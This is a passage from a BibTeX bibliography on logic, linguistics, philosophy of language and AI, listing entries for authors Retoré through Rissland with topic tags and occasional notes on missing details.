Proof Trees, + Resource Sensitive Logics, and Constraints" + 3. Marcus Kracht, "Inessential Features" + 4. Dale Miller, "Linear Logic as Logic Programming: + an Abstract" + 5. Edward Stabler, "Derivational Minimalism" + 6. V. Michele Abrusci and Christophe Fouquer\'e + and Jacqueline Vauzeilles, "Tree Adjoining Grammars + in Non-Commutative Linear Logic" + 7. Denis Bechet and Philippe de Groote, "Constructing + Different Phonological Bracketings from a Proof Net" + 8. Pascal Boldini, "Vagueness and Type Theory" + 9. Yann Coscoy, "A Natural Language Explanation for + Formal Proofs" + 11. Martin Emms, "Models for Polymorphic {L}ambek Calculus" + 12. Claire Gardent, "Sloppy Identity" + 13. Stephen J. Hegner, "A Family of Decidable Feature Logics + which Support {HPSG}-Style Set and List Construction" + 14. Ruth Kempson and Wilfried Meyer Viol and Dov Gabbay, + "Language Understanding: A Procedural Perspective" + 15. Paul John King and Kiril Ivanov Simov, "The Automatic + Deduction of Classificatory Systems from Linguistic Theories" + 16. Lucia H. B. Manara and Anne de Roeck, + "A Belief-Centered Treatment of Pragmatic Presupposition" + 17. Jacek Marciniec, "Connected Sets of Types and + Categorial Consequence" + 18. Josep M. Merenciano and Glyn V. Morrill, + "Generation as Deduction on Labelled Proof Nets" + 19. Jens Michaelis and Marcus Kracht, + "Semilinearity as a Syntactic Invariant" + 20. Stefan Riezler, "Quantitative Constraint Logic + Programming for Weighted Grammar Applications" + 21. James Rogers, "Strict {LT2}:REGULAR :: Local:Recognizable" + 22. Irene Schena, "Pomset Logic and Variants in Natural Languages" + 23. Koch and Martin Volk, "Constraint Logic Programming for + Computational Linguistics" + 24. Marek Szczerba, "Representation Theorems for Residuated + Groupoids" + } , + topic = {logic-and-computational-linguistics;} + } + +@article{ retore:1998a, + author = {Christian Retor\'e}, + title = {Introduction (to Special Issue on Recent Advances in + Logical and Algebraic Approaches to Grammar}, + journal = {Journal of Logic, Language, and Information}, + year = {1998}, + volume = {7}, + number = {4}, + pages = {395--398}, + topic = {grammar-formalisms;linear-logic;} + } + +@book{ reuland-termeulen:1987a, + editor = {Eric J. Reuland and Alice {ter Meulen}}, + title = {The Representation of (In){D}efiniteness}, + publisher = {The {MIT} Press}, + year = {1987}, + address = {Cambridge, Massachusetts}, + contentnote = {TC: + E. Reuland and A. ter Meulen, "Introduction" + I. Heim, "Where Does the Definiteness Restriction Apply? + Evidence from the Definiteness of Variables." + J. Higginbotham, "Indefiniteness and Predication." + K. Safir, "What Explains the Indefiniteness Effect?" + D. Pesetsky, "Wh-in-Situ: Movement and Unselective Binding" + T. Reinhart, "Specifier and Operator Binding" + J. Williamson, "An Indefiniteness Restriction for Relative + Clauses in Lakhota" + S. Chung, "The Syntax of Chamorro Existential" + C.-T. Huang, "Existential Sentences in Chinese and (In)definiteness" + D. Gil, "Definiteness, Noun Phrase Configuationality, and the + Count-Mass Distinction" + F. de Jong, "The Compositional Nature of (In)definiteness" + E. Keenan, "A Semantic Definition of `Indefinite NP' " + }, + topic = {nl-semantics;indefiniteness;definiteness;} + } + +@incollection{ reuland-termeulen:1987b, + author = {Eric J. Reuland and Alice {ter Meulen}}, + title = {Introduction}, + booktitle = {The Representation of (In)Definites}, + publisher = {The {MIT} Press}, + year = {1987}, + editor = {Eric Reuland and Alice {ter Meulen}}, + pages = {1--20}, + address = {Cambridge, Massachusetts}, + topic = {nl-semantics;(in)definiteness;} + } + +@book{ reuland-abraham:1993a, + editor = {Eric Reuland and Werner Abraham}, + title = {Knowledge and Language: Volume {II}, Lexical and Conceptual + Structure}, + publisher = {Kluwer Academic Publishers}, + year = {1993}, + address = {Dordrecht}, + contentnote = {TC: + E. Reuland and W. Abraham, "Introduction" + B. Partee, "Semantic Structures and Semantic Properties" + R. Jackendoff, "The Combinatorial Structure of Thought: The Family of + Causative Concepts" + R. Kempson, "Input Systems, Anaphora, Ellipsis, and Operator Binding", + J. Kornfilt and N. Correa, "Conceptual Structure and Its + Relation to the Structure of Lexical Entries" + J. Carrier and J. Randall, "Lexical Mapping" + J. Grimshaw and S. Vikner, "Obligatory Adjuncts and the + Structure of Events" + T. Hoekstra and I. Roberts, "Middle Constructions in {D}utch + and {E}nglish" + }, + topic = {nl-semantics;} + } + +@incollection{ rexach:1997a, + author = {Javier G. Rexach}, + title = {Questions and Generalized Quantifiers}, + booktitle = {Ways of Scope Taking}, + publisher = {Kluwer Academic Publishers}, + year = {1997}, + editor = {Anna Szabolcsi}, + pages = {409--452}, + address = {Dordrecht}, + topic = {nl-quantifier-scope;nl-quantifiers;interrogatives; + generalized-quantifiers;} + } + +@incollection{ rey:1998a, + author = {Georges Rey}, + title = {A Narrow Representationalist Account + of Qualitative Experience}, + booktitle = {Philosophical Perspectives 12: Language, Mind, + and Ontology}, + publisher = {Blackwell Publishers}, + year = {1998}, + editor = {James E. Tomberlin}, + pages = {435--457}, + address = {Oxford}, + topic = {philosophy-of-mind;mental-representations;} + } + +@phdthesis{ reyes:1988a, + author = {Marie Reyes}, + title = {A Semantics for Literary Texts}, + school = {Concordia University}, + year = {1988}, + type = {Ph.{D}. Dissertation}, + address = {Montr\'eal}, + topic = {Montague-grammar;nl-semantics;literary-interpretation;} + } + +@unpublished{ reyes-reyes:1993a, + author = {Marie La Palma Reyes and Gonzalo Reyes}, + title = {The Non-Boolean Logic of Natural Language Negation {I}}, + year = {1993}, + note = {Unpublished Manuscript.}, + missinginfo = {Marked "To appear, Philosophica Mathematica." Get + Reference.}, + topic = {nl-negation;} + } + +@article{ reyes-zolfaghari:1996a, + author = {Gonzalo Reyes and Houman Zolfachari}, + title = {Bi-{H}eyting Algebras, Toposes and Modalities}, + journal = {Journal of Philosophical Logic}, + year = {1996}, + volume = {25}, + number = {1}, + pages = {24--43}, + topic = {modal-logic;algebraic-logic;} + } + +@unpublished{ reyle:1986a, + author = {Uwe Reyle}, + title = {Grammatical Functions, Discourse Referents and + Quantification}, + year = {1986}, + note = {Unpublished manuscript, University of Stuttgart.}, + missinginfo = {Year is a guess. May have been published. Check other + Reyle pubs for self-references?}, + topic = {feature-structures;discourse-representation-theory;pragmatics;} + } + +@article{ reyle-gabbay:1994a, + author = {Uwe Reyle and Dov. M. Gabbay}, + title = {Direct Deductive Computation on Discourse Representation + Structures}, + journal = {Linguistics and Philosophy}, + year = {1994}, + volume = {17}, + number = {4}, + pages = {343--390}, + topic = {discourse-representation-theory;proof-theory;} + } + +@article{ reynolds_d-gomatam:1996a, + author = {David Reynolds and Jagannathan Gomatam}, + title = {Stochastic Modeling of Genetic Algorithms}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {82}, + number = {1--2}, + pages = {303--330}, + topic = {genetic-algorithms;stochastic-modeling; + AI-algorithms-analysis;} + } + +@article{ reynolds_d-gomatam:1996b, + author = {David Reynolds and Jagannathan Gomatam}, + title = {Similarities and Distinctions in Sampling Strategies for + Genetic Algorithms}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {86}, + number = {2}, + pages = {375--390}, + topic = {genertic-algorithms;sampling-strategies; + AI-algorithms-analysis;} + } + +@article{ reynolds_m:1994a, + author = {Mark Reynolds}, + title = {Axiomatization of {F} and {P} in Cyclical Time}, + journal = {Journal of Philosophical Logic}, + year = {1994}, + volume = {23}, + number = {2}, + pages = {197--224}, + topic = {temporal-logic;} + } + +@article{ reynolds_m:2001a, + author = {Mark Reynolds}, + title = {An Axiomatization of Full Computation Tree Logic}, + journal = {Journal of Symbolic Logic}, + year = {2001}, + volume = {66}, + number = {3}, + pages = {1011--1057}, + topic = {computation-tree-logic;branching-time;tmix-project;} + } + +@article{ reynolds_m:2002a, + author = {Mark Reynolds}, + title = {Review of {\em The Logic Programming Paradigm: A + Twenty-Five Year Perspective}, edited by {K}rysztof {R}. {A}pt, + {V}ictor {W}. {M}arek, {M}arek {T}ruszcynski, {D}avid {S}. {W}arren}, + journal = {Studia Logica}, + year = {2002}, + volume = {71}, + number = {1}, + pages = {145--148}, + xref = {Review of: apt-etal:1999a.}, + topic = {logic-programming;} + } + +@incollection{ rhodes-garside:1991a, + author = {Paul C. Rhodes and Gerald Roger Garside}, + title = {Using Maximum Entropy to Identity Unsafe Assumptions in + Probabilistic Expert Systems}, + booktitle = {Symbolic and Quantitative Approaches for Uncertainty: + Proceedings of the {E}uropean Conference {ECSQAU}, Marseille, + France, October 1991}, + publisher = {Springer-Verlag}, + year = {1991}, + editor = {Rudolf Kruse and Pierre Siegel}, + pages = {292--296}, + address = {Berlin}, + topic = {reasoning-about-uncertainty;expert-systems;} + } + +@incollection{ ricciardi:1992a, + author = {Aleta M. Ricciardi}, + title = {Practical Utility of Knowledge-Based Analysis}, + booktitle = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the Fourth Conference ({TARK} 1992)}, + publisher = {Morgan Kaufmann}, + year = {1992}, + editor = {Yoram Moses}, + pages = {15--28}, + address = {San Francisco}, + topic = {epistemic-logic;distributed-processing;applied-logic;} + } + +@inproceedings{ ricciardi-grisham:1998a, + author = {Aleta Ricciardi and Paul Grissam}, + title = {Toward Software Synthesis for Distributed Applications}, + booktitle = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the Seventh Conference ({TARK} 1998)}, + year = {1998}, + editor = {Itzhak Gilboa}, + pages = {15--27}, + publisher = {Morgan Kaufmann}, + address = {San Francisco, California}, + topic = {reasoning-about-knowledge;distributed-systems; + software-engineering;automatic-programming;} + } + +@inproceedings{ rich_c:1982a, + author = {Charles Rich}, + title = {Knowledge Representation and Predicate Calculus: + How to Have Your Cake and Eat it Too}, + booktitle = {Proceedings of the Second National Conference on + Artificial Intelligence}, + year = {1982}, + pages = {193--196}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, CA}, + topic = {kr;krcourse;hybrid-kr-architectures;logic-in-AI;} + } + +@incollection{ rich_c:1984a, + author = {Charles Rich}, + title = {A formal Representation for Plans in the {P}rogrammer's + {A}pprentice}, + booktitle = {On Conceptual Modelling: Perspectives from Artificial + Intelligence, Databases and Programming Languages}, + publisher = {Springer-Verlag}, + year = {1984}, + editor = {Michael L. Brodie and John Mylopoulos and Joachim W. Schmidt}, + pages = {237--273}, + address = {Berlin}, + topic = {planning-formalisms;} + } + +@inproceedings{ rich_c-sidner_cl:1997a, + author = {Charles Rich and Candace L. Sidner}, + title = {Collaboration with an Interface Agent via Direct Manipulation and + Communication Acts}, + booktitle = {Working Notes: {AAAI} Fall Symposium on Communicative + Action in Humans and Machines}, + year = {1997}, + pages = {130--131}, + organization = {{AAAI}}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + editor = {David Traum}, + topic = {speech-acts;discourse;computational-linguistics; + nl-interfaces;pragmatics;} + } + +@inproceedings{ rich_c-sidner_cl:1999a, + author = {Charles Rich and Candace L. Sidner}, + title = {{COLLAGEN}: Project Summary and Discussion Questions}, + booktitle = {Working Papers of the {AAAI} Fall Symposium on + Psychological Models of Communication in Collaborative + Systems}, + year = {1999}, + editor = {Susan E. Brennan and Alain Giboin and David Traum}, + pages = {100--107}, + organization = {American Association for Artificial Intelligence}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + topic = {discourse;sharedplans;HCI;collaboration;} + } + +@book{ rich_e:1983a, + author = {Elaine Rich}, + title = {Artificial Intelligence}, + publisher = {McGraw-Hill}, + year = {1983}, + address = {New York}, + ISBN = {0070522618}, + xref = {Review: rada:1986a.}, + topic = {AI-intro;} + } + +@incollection{ rich_e:1989a, + author = {Elaine Rich}, + title = {Stereotypes and User Modeling}, + booktitle = {User Models in Dialog Systems}, + publisher = {Springer-Verlag}, + year = {1989}, + editor = {Alfred Kobsa and Wolfgang Wahlster}, + pages = {35--51}, + address = {Berlin}, + topic = {user-modeling;agent-stereotypes;} + } + +@book{ rich_e-knight_k:1991a, + author = {Elaine Rich and Kevin Knight}, + title = {Artificial Intelligence}, + edition = {2}, + publisher = {McGraw-Hill, Inc.}, + year = {1991}, + address = {New York}, + ISBN = {0070522634}, + topic = {AI-intro;} + } + +@article{ richard:1983a, + author = {Mark Richard}, + title = {Direct Reference and Ascriptions of Belief}, + journal = {Journal of Philosophical Logic}, + year = {1983}, + volume = {12}, + number = {4}, + pages = {425--45}, + topic = {reference;intensionality;belief;} + } + +@article{ richard:1986a, + author = {Mark Richard}, + title = {Quotation, Grammar, and Opacity}, + journal = {Linguistics and Philosophy}, + year = {1986}, + volume = {9}, + number = {3}, + pages = {383--403}, + topic = {direct-discourse;referential-opacity;pragmatics;} + } + +@article{ richard:1993a, + author = {Mark Richard}, + title = {Attitudes in Context}, + journal = {Linguistics and Philosophy}, + year = {1993}, + volume = {16}, + number = {2}, + pages = {123--148}, + topic = {propositional-attitudes;context;} + } + +@incollection{ richard:1993b, + author = {Mark Richard}, + title = {Articulated Terms}, + booktitle = {Philosophical Perspectives, Volume 7: + Language and Logic}, + publisher = {Blackwell Publishers}, + year = {1993}, + editor = {James E. Tomberlin}, + pages = {207--230}, + address = {Oxford}, + note = {Also available at http://www.jstor.org/journals/.}, + topic = {singular-terms;propositional-attitudes;intensionality;} + } + +@article{ richard:1994a, + author = {Mark Richard}, + title = {What a Belief Isn't}, + journal = {Philosophical Topics}, + year = {1994}, + volume = {22}, + number = {1--2}, + pages = {291--318}, + topic = {foundations-of-cognition;philosophy-of-mind;belief; + philosophy-of-belief;} + } + +@incollection{ richard:1996a, + author = {Mark Richard}, + title = {Propositional Quantification}, + booktitle = {Logic and Reality: Essays on the Legacy of {A}rthur + {P}rior}, + publisher = {Oxford University Press}, + year = {1996}, + editor = {Jack Copeland}, + address = {Oxford}, + pages = {437--460}, + topic = {propositional-quantifiers;} + } + +@article{ richard:1997a, + author = {Mark Richard}, + title = {What Does Commonsense Psychology Tell Us about Meaning?}, + journal = {No\^us}, + year = {1997}, + volume = {31}, + number = {1}, + pages = {87--114}, + xref = {Critical Review of devitt:1995a.}, + xref = {Reply: devitt:1997a.}, + topic = {philosophy-of-language;propositional-attitudes;} + } + +@incollection{ richard:1998a, + author = {Mark Richard}, + title = {Commitment}, + booktitle = {Philosophical Perspectives 12: Language, Mind, + and Ontology}, + publisher = {Blackwell Publishers}, + year = {1998}, + editor = {James E. Tomberlin}, + pages = {256--281}, + address = {Oxford}, + topic = {ontological-commitment;} + } + +@article{ richards_b:1971a, + author = {Barry Richards}, + title = {Searle on Meaning and Speech Acts}, + journal = {Foundations of Language}, + year = {1982}, + volume = {7}, + missinginfo = {pages = {519-???}.}, + topic = {speech-acts;pragmatics;} + } + +@article{ richards_b:1982a, + author = {Barry Richards}, + title = {Tense, Aspect and Time Adverbials {I}}, + journal = {Linguistics and Philosophy}, + year = {1982}, + volume = {5}, + number = {2}, + pages = {59--107}, + topic = {tense-aspect;nl-tense;nl-semantics;temporal-adverbials;} + } + +@article{ richards_b:1984a, + author = {Barry Richards}, + title = {On Interpreting Pronouns}, + journal = {Linguistics and Philosophy}, + year = {1984}, + volume = {7}, + number = {3}, + pages = {287--324}, + topic = {anaphora;donkey-anaphora;} + } + +@incollection{ richards_b:1987a, + author = {Barry Richards}, + title = {Tenses, Temporal Quantifiers and Semantic Innocence}, + booktitle = {New Directions in Semantics, Volume 2}, + publisher = {Academic Press}, + year = {1987}, + editor = {Ernest LePore}, + pages = {337--384}, + address = {London}, + topic = {nl-semantics;nl-tense;philosophy-of-language;} + } + +@incollection{ richards_d:2001a, + author = {Debbie Richards}, + title = {Combining Cases and Rules to Provide + Contextualized Knowledge Based Systems}, + booktitle = {Modeling and Using Context}, + publisher = {Springer-Verlag}, + year = {2001}, + editor = {Varol Akman and Paolo Bouquet and Richmond Thomason + and Roger A. Young}, + pages = {465--469}, + address = {Berlin}, + topic = {context;knowledge-engineering;} + } + +@book{ richards_t:1989a, + author = {Tom Richards}, + title = {Clausal Form Logic: An Introduction to the Logic of + Computer Reasoning}, + publisher = {Addison-Wesley Publishing Co.}, + year = {1989}, + address = {Reading, Massachusetts}, + ISBN = {0201129205}, + topic = {logic-in-cs-intro;theorem-proving;} + } + +@article{ richardson_h:1990a, + author = {Henry Richardson}, + title = {Specifying Norms as a Way to Resolve Concrete Ethical + Problems}, + journal = {Philosophy and Public Affairs}, + year = {1990}, + topic = {applied-ethics;} + } + +@book{ richardson_hs:1994a, + author = {Harry S. Richardson}, + title = {Practical Reasoning about Final Ends}, + publisher = {Cambridge University Press}, + year = {1994}, + address = {Cambridge, England}, + topic = {practical-reasoning;rationality;} + } + +@techreport{ richardson_r-smeaton:1997a, + author = {R. Richardson and A.F. Smeaton}, + title = {Using {W}ord{N}et in a Knowledge-Based Approach + to Information Retrieval}, + institution = {School of Computer Applications, Dublin City + University}, + number = {CA--0395}, + year = {1997}, + address = {Dublin}, + missinginfo = {A's 1st name, date is a guess.}, + topic = {Wordnet;information-retrieval;} + } + +@article{ richman:2000a, + author = {Frank Richman}, + title = {Gleason's Theorem Has a Constructive Proof}, + journal = {Journal of Philosophical Logic}, + year = {2000}, + volume = {29}, + number = {4}, + pages = {425--431}, + topic = {quantum-logic;foundations-of-quantum-mechanics; + constructive-mathematics;} + } + +@incollection{ richmond_k-etal:1997a, + author = {Korin Richmond and Andrew Smith and Einat Amitay}, + title = {Detecting Subject Boundaries within Text: A Language + Independent Statistical Approach}, + booktitle = {Proceedings of the Second Conference on Empirical + Methods in Natural Language Processing}, + publisher = {Association for Computational Linguistics}, + year = {1997}, + editor = {Claire Cardie and Ralph Weischedel}, + pages = {47--54}, + address = {Somerset, New Jersey}, + topic = {empirical-methods-in-nlp;statstical-nlp;corpus-tagging; + topic-extraction;} + } + +@book{ richmond_p:1981a, + author = {Phyllis A. Richmond}, + title = {Introduction to {\sc Precis} for {N}orth {A}merican + Usage}, + publisher = {Libraries Unlimited}, + year = {1981}, + address = {Littleton, Colorado}, + topic = {thesaurus-construction;document-classification; + computational-ontology;} + } + +@unpublished{ richter:1983a, + author = {Reed Richter}, + title = {On the Need for a Modified Causal Decision Theory}, + year = {1983}, + note = {Unpublished manuscript, Miami, Florida.}, + topic = {foundations-of-decision-theory;resource-limited-game-theory;} + } + +@unpublished{ richter:1983b, + author = {Reed Richter}, + title = {Reply to {L}ewis's `{R}ichter's Problem'\, } , + year = {1983}, + note = {Unpublished manuscript, Miami, Florida.}, + topic = {foundations-of-decision-theory;resource-limited-game-theory;} + } + +@article{ rickel-porter:1997a, + author = {Jeff Rickel and Bruce Porter}, + title = {Automated Modeling of Complex Systems to Answer Prediction + Questions}, + journal = {Artificial Intelligence}, + year = {1997}, + volume = {93}, + number = {1--2}, + pages = {201--260}, + topic = {reasoning-about-physical-systems;} + } + +@unpublished{ ricketts:1973a, + author = {Thomas G. Ricketts}, + title = {Truth Theories and Semantic Theories}, + year = {1973}, + note = {Unpublished manuscript, University of Michigan.}, + missinginfo = {Date is a guess.}, + topic = {nl-semantics;Davidson-semantics;} + } + +@book{ ricoeur:1976a, + author = {Paul Ricoeur}, + title = {Interpretation Theory: Discourse and the Surplus of Meaning}, + publisher = {Texas Christian University Press}, + year = {1976}, + address = {Fort Worth}, + topic = {discourse-analysis;} +} + +@article{ riddle-sheintuch:1983a, + author = {Elizabeth Riddle and Gloria Sheintuch}, + title = {A Functional Analysis of Pseudo-Passives}, + journal = {Linguistics and Philosophy}, + year = {1983}, + volume = {6}, + number = {4}, + pages = {527--563}, + topic = {passives;nl-syntax;} + } + +@article{ rieber_b:1998a, + author = {Bruce Rieber}, + title = {Could Demonstratives be Descriptions?}, + journal = {Philosophia}, + year = {1998}, + volume = {26}, + number = {1--2}, + pages = {65--77}, + topic = {indexicals;demonstratives;definite-descriptions; + pragmatics;} + } + +@article{ rieber_sd:1994a, + author = {Steven D. Rieber}, + title = {The Paradoxes of Analysis and Synonymy}, + journal = {Erkenntnis}, + year = {1994}, + volume = {41}, + pages = {103--116}, + missinginfo = {number}, + topic = {paradox-of-analysis;synonymy;} + } + +@article{ rieber_sd:1997a, + author = {Steven D. Rieber}, + title = {Conventional Implicatures as Tacit Performatives}, + journal = {Linguistics and Philosophy}, + year = {1997}, + volume = {20}, + number = {1}, + pages = {51--72}, + topic = {speech-acts;pragmatics;implicature;pragmatics;} + } + +@book{ rieger_bs:1981a, + editor = {Burghard S. Rieger}, + title = {Empirical Semantics {I}: A Collection of New Approaches + in the Field}, + publisher = {Studienverlag}, + year = {1981}, + address = {Bochum}, + ISBN = {3-88339-221-9}, + topic = {lexical-semantics;semantic-fields;} + } + +@book{ rieger_bs:1981b, + editor = {Burghard S. Rieger}, + title = {Empirical Semantics {II}: A Collection of New Approaches + in the Field}, + publisher = {Studienverlag}, + year = {1981}, + address = {Bochum}, + ISBN = {3-88339-221-9}, + topic = {lexical-semantics;semantic-fields;} + } + +@incollection{ rieger_bs:1981c, + author = {Burghard S. Rieger}, + title = {Feasible Fuzzy Semantics: On Some Problems + of How to Handle Word Meaning Empirically}, + booktitle = {Words, Worlds, and Contexts: New Approaches to Word + Semantics}, + publisher = {Walter de Gruyter}, + year = {1981}, + editor = {Hans-J\"urgen Eikmeyer and Hannes Rieser}, + pages = {193--209}, + address = {Berlin}, + topic = {lexical-semantics;} + } + +@article{ rieger_c:1976a, + author = {Chuck Rieger}, + title = {An Organization of Knowledge for Problem Solving and + Language Comprehension}, + journal = {Artificial Intelligence}, + year = {1976}, + volume = {7}, + number = {2}, + pages = {89--127}, + acontentnote = {Abstract: + The concept of an image space, motivated by the STRIPS system, + is introduced as a formal logical counterpart to the state-space + problem solving in robotics. The main results are two + correspondence theorems establishing a relationship between + solutions of problems formalized in the image space and formal + proofs of certain formulas in the associated situation calculus. + The concept of a solution, as used in the second correspondence + theorem, has a rather general form allowing for conditional + branching. Besides giving a deeper insight into the logic of + problem solving the results suggest a possibility of using the + advantages of the image-space representation in the situation + calculus and conversely. The image space approach is further + extended to cope with the frame problem in a similar way as + STRIPS. Any STRIPS problem domain can be associated with an + appropriate image space with frames of the same solving power. } , + topic = {problem-solving;} + } + +@techreport{ rieger_cj:1974a, + author = {Charles J. {Rieger III}}, + title = {Conceptual Memory: A Theory and Computer Program for + Processing the Meaning Content of Natural Language Utterances}, + institution = {Stanford Artificial Intelligence Laboratory, + Stanford University}, + number = {AIM--233}, + year = {1974}, + address = {Stanford, California}, + topic = {nl-interpretation;memory-models;conceptual-dependency;} + } + +@book{ riesbeck-schank:1989a, + author = {Christopher K. Riesbeck and Roger C.Schank}, + title = {Inside Case-Based Reasoning}, + publisher = {Lawrence Erlbaum}, + year = {1989}, + address = {Hillsdale, New Jersey}, + ISBN = {0898597676}, + topic = {case-based-reasoning;} + } + +@incollection{ riezler:1997a, + author = {Stefan Riezler}, + title = {Quantitative Constraint Logic + Programming for Weighted Grammar Applications}, + booktitle = {{LACL}'96: First International Conference on + Logical Aspects of Computational Linguistics}, + publisher = {Springer-Verlag}, + year = {1997}, + editor = {Christian Retor/'e}, + pages = {346--365}, + address = {Berlin}, + topic = {logic-and-computational-linguistics;} + } + +@inproceedings{ rigau-etal:1997a, + author = {German Rigau and Jordi Atserias and Eneko Agirre}, + title = {Combining Unsupervised Lexical Knowledge Methods for + Word Sense Disambiguation}, + booktitle = {Proceedings of the Thirty-Fifth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and Eighth + Conference of the {E}uropean Chapter of the {A}ssociation + for {C}omputational {L}inguistics}, + year = {1997}, + editor = {Philip R. Cohen and Wolfgang Wahlster}, + pages = {48--55}, + organization = {Association for Computational Linguistics}, + publisher = {Association for Computational Linguistics}, + address = {Somerset, New Jersey}, + topic = {lexical-disambiguation;nl-processing;} + } + +@incollection{ rijke:1996a, + author = {Maarten de Rijke}, + title = {What is modal logic?}, + booktitle = {Arrow Logic and Multimodal Logic}, + publisher = {{CLSI} Publications}, + year = {1996}, + editor = {Maarten Marx and L\'azl\'o P\'olos and Michael Masuch}, + pages = {191--202}, + address = {Stanford, California}, + topic = {arrow-logic;modal-logic;foundations-of-modal-logic;} + } + +@inproceedings{ riloff-shoen:1995a, + author = {Ellen Riloff and Jay Shoen}, + title = {Automatically Acquiring Conceptual Patterns + without an Automated Corpus}, + booktitle = {Proceedings of the Third Workshop on Very + Large Corpora}, + year = {1995}, + editor = {David Yarovsky and Kenneth Church}, + pages = {148--161}, + organization = {Association for Computational Linguistics}, + publisher = {Association for Computational Linguistics}, + address = {Somerset, New Jersey}, + topic = {corpus-linguistics;text-skimming;} + } + +@article{ riloff:1996a, + author = {Ellen Riloff}, + title = {An Empirical Study of Automated Dictionary Construction + for Information Extraction in Three Domains}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {85}, + number = {1--2}, + pages = {101--134}, + topic = {dictionary-construction;nl-processing;} + } + +@incollection{ riloff-shepherd:1997a, + author = {Ellen Riloff and Jessica Shepherd}, + title = {A Corpus-Based Approach for Building Semantic + Lexicons}, + booktitle = {Proceedings of the Second Conference on Empirical + Methods in Natural Language Processing}, + publisher = {Association for Computational Linguistics}, + year = {1997}, + editor = {Claire Cardie and Ralph Weischedel}, + pages = {117--124}, + address = {Somerset, New Jersey}, + topic = {empirical-methods-in-nlp;corpus-linguistics; + dictionary-construction;} + } + +@incollection{ ringen:1977a, + author = {Jon D. Ringen}, + title = {Linguistic Facts: A Study of the Empirical Scientific + Status of Transformational Generative Grammars}, + booktitle = {Testing Linguistic Hypotheses}, + publisher = {John Wiley and Sons}, + year = {1977}, + editor = {David Cohen and Jessica Worth}, + pages = {1--41}, + address = {New York}, + topic = {philosophy-of-linguistics;} + } + +@incollection{ ringen:1977b, + author = {Jon D. Ringen}, + title = {On Evaluating Data Concerning Linguistic Intuition}, + booktitle = {Current themes in Linguistics: Bilingualism, + Experimental Linguistics, and Language Typologies}, + publisher = {John Wiley and Sons}, + year = {1977}, + editor = {Fred R. Eckman}, + pages = {145--160}, + address = {New York}, + missinginfo = {pages } , + topic = {philosophy-of-linguistics;} + } + +@article{ ringen:1977c, + author = {Jon D. Ringen}, + title = {Review of {\it Linguistics and Metascience}, + by {E}sa {I}tkonen}, + journal = {Language}, + year = {1977}, + volume = {53}, + missinginfo = {pages}, + topic = {philosophy-of-linguistics;} + } + +@incollection{ ringen:1979a, + author = {Jon D. Ringen}, + title = {Indeterminacy of Translation and the Private Language + Argument}, + booktitle = {Proceedings of the Fourth International {W}ittgenstein + Symposium}, + year = {1979}, + publisher = {H\"older-Pichler-Tempsky}, + pages = {566--568}, + address = {Vienna}, + missinginfo = {editor}, + topic = {indeterminacy-of-translation;private-language; + philosophy-of-language;} + } + +@incollection{ ringen:1980a, + author = {Jon D. Ringen}, + title = {Linguistic Facts: A Study of the Scientific Status of + Transformational Generative Grammars}, + booktitle = {Evidence and Argumentation in Linguistics}, + publisher = {Walter de Gruyter}, + year = {1980}, + pages = {99--132}, + address = {Berlin}, + topic = {philosophy-of-linguistics;} + } + +@incollection{ ringen:1981a, + author = {Jon D. Ringen}, + title = {Quine on Introspection in Linguistics}, + booktitle = {A {F}estschrift for Native Speaker}, + publisher = {Mouton}, + year = {1981}, + editor = {Florian Coulmas}, + pages = {140--151}, + address = {The Hague}, + topic = {Quine;philosophy-of-linguistics;linguistics-methodology;} + } + +@inproceedings{ ringen:1982a, + title = {The Explanatory Import of Dispositions: A Defense + of Realism}, + author = {Jon D. Ringen}, + booktitle = {{PSA} 1982: Proceedings of the Biennial Meeting of the + Philosophy of Science Association, Volume 2}, + year = {1982}, + editor = {Peter D. Asquith and Thomas Nickles}, + pages = {122--133}, + organization = {Philosophy of Science Association}, + publisher = {Philosophy of Science Association}, + address = {East Lansing, Michigan}, + topic = {dispositions;explanation;} + } + +@book{ ringle:1979a, + editor = {Martin Ringle}, + title = {Philosophical Perspectives in Artificial Intelligence}, + publisher = {Harvester Press}, + year = {1979}, + address = {Sussex}, + ISBN = {0-85527-901-x}, + topic = {philosophy-AI;} + } + +@incollection{ rintanen:1994a, + author = {Jussi Rintanen}, + title = {Prioritized Autoepistemic Logic}, + booktitle = {Logics in Artificial Intelligence}, + publisher = {Springer-Verlag}, + year = {1994}, + editor = {Craig Mac{N}ish and Lu\'is Moniz Pereira and David Pearce}, + pages = {232--260}, + address = {Berlin}, + topic = {nonmonotonic-prioritization;autoepistemic-logic;} + } + +@inproceedings{ rintanen:1995a, + author = {Jussi Rintanen}, + title = {On Specificity in Default Reasoning}, + booktitle = {Proceedings of the Fourteenth International Joint + Conference on Artificial Intelligence}, + year = {1995}, + editor = {Chris Mellish}, + pages = {1474--1479}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + topic = {specificity;default-reasoning;} + } + +@incollection{ rintanen:1998a, + author = {Jussi Rintanen}, + title = {A Planning Algorithm not Based on Directional Search}, + booktitle = {{KR}'98: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1998}, + editor = {Anthony G. Cohn and Lenhart Schubert and Stuart C. + Shapiro}, + pages = {617--624}, + address = {San Francisco, California}, + topic = {kr;plkanning;search;kr-course;} + } + +@article{ rintanen:1998b, + author = {Jussi Rintanen}, + title = {Lexicographic Priorities in Default Logic}, + journal = {Artificial Intelligence}, + year = {1998}, + volume = {106}, + number = {2}, + pages = {221--265}, + topic = {default-logic;nonmonotonic-prioritization;} + } + +@inproceedings{ risjord:1998a, + author = {Mark Risjord}, + title = {No Strings Attached: Functionalism and Intentional + Action Explanations}, + booktitle = {{PSA}98: Proceedings of the Biennial Meeting of the + Philosophy of Science Association, Part 1: Contributed + Papers}, + year = {1998}, + editor = {Don A. Howard}, + pages = {299--313}, + organization = {Philosophy of Science Association}, + publisher = {University of Chicago Press}, + address = {Chicago, Illinois}, + topic = {explanation;intention;functionalism;action;} + } + +@article{ rissland:1990a, + author = {Edwina Rissland}, + title = {Artificial Intelligence and Law: Stepping + Stones to a Model of Legal Reasoning}, + journal = 